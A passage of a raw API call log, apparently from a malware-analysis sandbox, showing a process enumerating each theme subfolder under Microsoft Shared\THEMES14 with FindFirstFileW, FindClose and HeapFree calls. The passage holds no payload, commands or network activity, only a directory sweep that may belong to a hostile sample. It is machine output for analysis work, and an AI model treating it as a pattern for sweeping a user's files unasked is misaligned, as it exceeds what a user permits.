ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0220.544] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0220.544] GetProcessHeap () returned 0x560000 [0220.544] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0220.544] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0220.544] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0220.545] GetProcessHeap () returned 0x560000 [0220.545] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0220.545] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0220.707] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0220.707] GetProcessHeap () returned 0x560000 [0220.707] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0220.707] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0220.709] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0220.710] GetProcessHeap () returned 0x560000 [0220.710] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0220.710] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0220.713] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0220.713] GetProcessHeap () returned 0x560000 [0220.713] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0220.713] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0220.715] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0220.715] GetProcessHeap () returned 0x560000 [0220.715] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0220.716] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0220.716] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0220.716] GetProcessHeap () returned 0x560000 [0220.716] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0220.717] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0220.722] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0220.722] GetProcessHeap () returned 0x560000 [0220.722] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0220.722] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0220.725] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0220.725] GetProcessHeap () returned 0x560000 [0220.725] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0220.725] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0220.727] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0220.727] GetProcessHeap () returned 0x560000 [0220.728] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0220.728] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0220.730] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0220.730] GetProcessHeap () returned 0x560000 [0220.730] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0220.730] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0220.733] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0220.733] GetProcessHeap () returned 0x560000 [0220.733] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0220.733] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0220.734] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0220.734] GetProcessHeap () returned 0x560000 [0220.734] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0220.734] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0220.736] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0220.736] GetProcessHeap () returned 0x560000 [0220.736] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0220.736] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0220.739] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0220.739] GetProcessHeap () returned 0x560000 [0220.739] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0220.739] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0220.740] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0220.740] GetProcessHeap () returned 0x560000 [0220.740] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0220.740] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0220.742] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0220.743] GetProcessHeap () returned 0x560000 [0220.743] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0220.743] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0220.745] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0220.745] GetProcessHeap () returned 0x560000 [0220.745] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0220.745] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0220.747] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0220.747] GetProcessHeap () returned 0x560000 [0220.747] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0220.747] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0220.748] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0220.748] GetProcessHeap () returned 0x560000 [0220.748] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0220.748] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0220.751] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0220.751] GetProcessHeap () returned 0x560000 [0220.751] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0220.751] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0220.752] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0220.752] GetProcessHeap () returned 0x560000 [0220.752] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0220.752] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0220.893] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0220.893] GetProcessHeap () returned 0x560000 [0220.893] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0220.893] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0220.895] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0220.895] GetProcessHeap () returned 0x560000 [0220.896] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0220.896] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0221.452] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0221.453] GetProcessHeap () returned 0x560000 [0221.453] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0221.453] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0221.453] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0221.454] GetProcessHeap () returned 0x560000 [0221.454] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0221.454] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0221.463] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0221.464] GetProcessHeap () returned 0x560000 [0221.464] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0221.464] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0221.476] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0221.476] GetProcessHeap () returned 0x560000 [0221.476] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0221.476] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0221.833] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0221.833] GetProcessHeap () returned 0x560000 [0221.833] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0221.833] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0221.852] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0221.852] GetProcessHeap () returned 0x560000 [0221.852] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0221.853] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, 